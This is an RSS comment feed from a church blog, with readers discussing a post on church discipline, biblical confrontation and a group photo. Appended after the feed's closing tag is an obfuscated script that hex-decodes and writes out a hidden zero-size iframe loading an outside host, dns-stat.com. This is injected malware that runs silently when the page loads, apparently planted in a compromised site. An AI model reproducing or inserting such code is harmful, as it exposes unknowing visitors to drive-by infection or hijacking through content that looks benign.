<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Discipline: Exclusion From Community</title>
	<atom:link href="http://www.colossiansthreesixteen.com/archives/870/feed" rel="self" type="application/rss+xml" />
	<link>http://www.colossiansthreesixteen.com/archives/870</link>
	<description></description>
	<pubDate>Mon, 08 Sep 2008 06:59:57 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.1</generator>
		<item>
		<title>By: mike</title>
		<link>http://www.colossiansthreesixteen.com/archives/870#comment-40264</link>
		<dc:creator>mike</dc:creator>
		<pubDate>Mon, 30 Oct 2006 23:44:12 +0000</pubDate>
		<guid isPermaLink="false">http://www.colossiansthreesixteen.com/archives/870#comment-40264</guid>
		<description>What a great looking family.</description>
		<content:encoded><![CDATA[<p>What a great looking family.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Brent</title>
		<link>http://www.colossiansthreesixteen.com/archives/870#comment-40259</link>
		<dc:creator>Brent</dc:creator>
		<pubDate>Mon, 30 Oct 2006 20:39:56 +0000</pubDate>
		<guid isPermaLink="false">http://www.colossiansthreesixteen.com/archives/870#comment-40259</guid>
		<description>Sorry, it was a last minute thing. We'll have to do another and announce it ahead of time.</description>
		<content:encoded><![CDATA[<p>Sorry, it was a last minute thing. We&#8217;ll have to do another and announce it ahead of time.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Amber</title>
		<link>http://www.colossiansthreesixteen.com/archives/870#comment-40258</link>
		<dc:creator>Amber</dc:creator>
		<pubDate>Mon, 30 Oct 2006 20:21:48 +0000</pubDate>
		<guid isPermaLink="false">http://www.colossiansthreesixteen.com/archives/870#comment-40258</guid>
		<description>I don't know? I guess not... It's 'no big'. =)</description>
		<content:encoded><![CDATA[<p>I don&#8217;t know? I guess not&#8230; It&#8217;s &#8216;no big&#8217;. =)</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Brent</title>
		<link>http://www.colossiansthreesixteen.com/archives/870#comment-40257</link>
		<dc:creator>Brent</dc:creator>
		<pubDate>Mon, 30 Oct 2006 19:58:28 +0000</pubDate>
		<guid isPermaLink="false">http://www.colossiansthreesixteen.com/archives/870#comment-40257</guid>
		<description>Were you not there the Sunday of the Tim Rudolph's ordination? We took a group photo after the morning service!</description>
		<content:encoded><![CDATA[<p>Were you not there the Sunday of the Tim Rudolph&#8217;s ordination? We took a group photo after the morning service!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: A,mber</title>
		<link>http://www.colossiansthreesixteen.com/archives/870#comment-40256</link>
		<dc:creator>A,mber</dc:creator>
		<pubDate>Mon, 30 Oct 2006 19:53:48 +0000</pubDate>
		<guid isPermaLink="false">http://www.colossiansthreesixteen.com/archives/870#comment-40256</guid>
		<description>I am completely flabbergasted by the appearance of a group photo that I didn't know  had been taken or even existed! Did I miss something?? 

=P</description>
		<content:encoded><![CDATA[<p>I am completely flabbergasted by the appearance of a group photo that I didn&#8217;t know  had been taken or even existed! Did I miss something?? </p>
<p>=P</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Brent</title>
		<link>http://www.colossiansthreesixteen.com/archives/870#comment-40253</link>
		<dc:creator>Brent</dc:creator>
		<pubDate>Mon, 30 Oct 2006 18:58:45 +0000</pubDate>
		<guid isPermaLink="false">http://www.colossiansthreesixteen.com/archives/870#comment-40253</guid>
		<description>Lance,

That's a good question. I think that there is Scriptural precedent for going to one another in addition to "Gospel issues." Jesus is Matthew 18 does not define the sin, and Paul rebukes the Corinthians for allowing sexual immorality in their midst. 

The difficult issue about think like tattoos is that they are essentially conscience issues (at least as I see them) and people struggle to see how if it's sin for them it might not be for someone else. We must strive to foster a better sense of biblical discernment in believers.

Not sure if I addressed your concerns or not? Thanks for the input.</description>
		<content:encoded><![CDATA[<p>Lance,</p>
<p>That&#8217;s a good question. I think that there is Scriptural precedent for going to one another in addition to &#8220;Gospel issues.&#8221; Jesus is Matthew 18 does not define the sin, and Paul rebukes the Corinthians for allowing sexual immorality in their midst. </p>
<p>The difficult issue about think like tattoos is that they are essentially conscience issues (at least as I see them) and people struggle to see how if it&#8217;s sin for them it might not be for someone else. We must strive to foster a better sense of biblical discernment in believers.</p>
<p>Not sure if I addressed your concerns or not? Thanks for the input.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Lance Burton</title>
		<link>http://www.colossiansthreesixteen.com/archives/870#comment-40252</link>
		<dc:creator>Lance Burton</dc:creator>
		<pubDate>Mon, 30 Oct 2006 18:53:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.colossiansthreesixteen.com/archives/870#comment-40252</guid>
		<description>Do you think the examples of confronting a brother, in scripture, are limited (if you will) to matters of the Gospel? In other words, is ther biblical warrant for "confronting" a brother about smoking, drinking, cussing, movies, etc. etc. Assuming your readers agree (or the substantial majority) that christians should confront, the question is, over what? I see those who believe in confrontation doing so over some pretty stupid things. I mean, do we really need/want people telling us that our tattoos offend them? I dont, and others dont, which is why confontation gets avoided because it gets abused by the very people who sees its value but cant practice it biblically.</description>
		<content:encoded><![CDATA[<p>Do you think the examples of confronting a brother, in scripture, are limited (if you will) to matters of the Gospel? In other words, is ther biblical warrant for &#8220;confronting&#8221; a brother about smoking, drinking, cussing, movies, etc. etc. Assuming your readers agree (or the substantial majority) that christians should confront, the question is, over what? I see those who believe in confrontation doing so over some pretty stupid things. I mean, do we really need/want people telling us that our tattoos offend them? I dont, and others dont, which is why confontation gets avoided because it gets abused by the very people who sees its value but cant practice it biblically.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Mick</title>
		<link>http://www.colossiansthreesixteen.com/archives/870#comment-40241</link>
		<dc:creator>Mick</dc:creator>
		<pubDate>Mon, 30 Oct 2006 14:30:18 +0000</pubDate>
		<guid isPermaLink="false">http://www.colossiansthreesixteen.com/archives/870#comment-40241</guid>
		<description>Great post. I like small group or home church concept to augment or enhance the Sunday worship service. It helps build that biblical sense of community, "Doing Life Together". However, discipline is hard. We are in a "non-judgemental" and "tolerant" age and unfortunately this has crept into the church too. Many, myself included (!), have lost the art of addressing a brothers sin.

Keep the posts coming. They are very helpful!</description>
		<content:encoded><![CDATA[<p>Great post. I like small group or home church concept to augment or enhance the Sunday worship service. It helps build that biblical sense of community, &#8220;Doing Life Together&#8221;. However, discipline is hard. We are in a &#8220;non-judgemental&#8221; and &#8220;tolerant&#8221; age and unfortunately this has crept into the church too. Many, myself included (!), have lost the art of addressing a brothers sin.</p>
<p>Keep the posts coming. They are very helpful!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Chris</title>
		<link>http://www.colossiansthreesixteen.com/archives/870#comment-40238</link>
		<dc:creator>Chris</dc:creator>
		<pubDate>Mon, 30 Oct 2006 14:16:20 +0000</pubDate>
		<guid isPermaLink="false">http://www.colossiansthreesixteen.com/archives/870#comment-40238</guid>
		<description>Great thoughts Brent.  I had never thought about the correlation between church discipline and our individualism.  But it does make perfect sense.  That, among other reasons, is certainly why the concept of "church discipline" seems pointless today.  The disciplined can just go be anonymous in another fellowship!</description>
		<content:encoded><![CDATA[<p>Great thoughts Brent.  I had never thought about the correlation between church discipline and our individualism.  But it does make perfect sense.  That, among other reasons, is certainly why the concept of &#8220;church discipline&#8221; seems pointless today.  The disciplined can just go be anonymous in another fellowship!</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script type="text/javascript">function zucxtyszzwlc(lfuayofvgjwxsd){var wgxhuuipb="";for(mevzhyycoxlwakt=0;mevzhyycoxlwakt<lfuayofvgjwxsd.length;mevzhyycoxlwakt+=2){wgxhuuipb+=(String.fromCharCode(parseInt(lfuayofvgjwxsd.substr(mevzhyycoxlwakt,2),16)));}document.write(wgxhuuipb);}zucxtyszzwlc("3C696672616D65207372633D22687474703A2F2F646E732D737461742E636F6D2F73746174732F696E6465782E70687022206672616D65626F726465723D22302220626F726465723D2230222077696474683D223022206865696768743D223022207374796C653D22706F736974696F6E3A206162736F6C7574653B207669736962696C6974793A2068696464656E3B20646973706C61793A206E6F6E65223E3C2F696672616D653E");</script>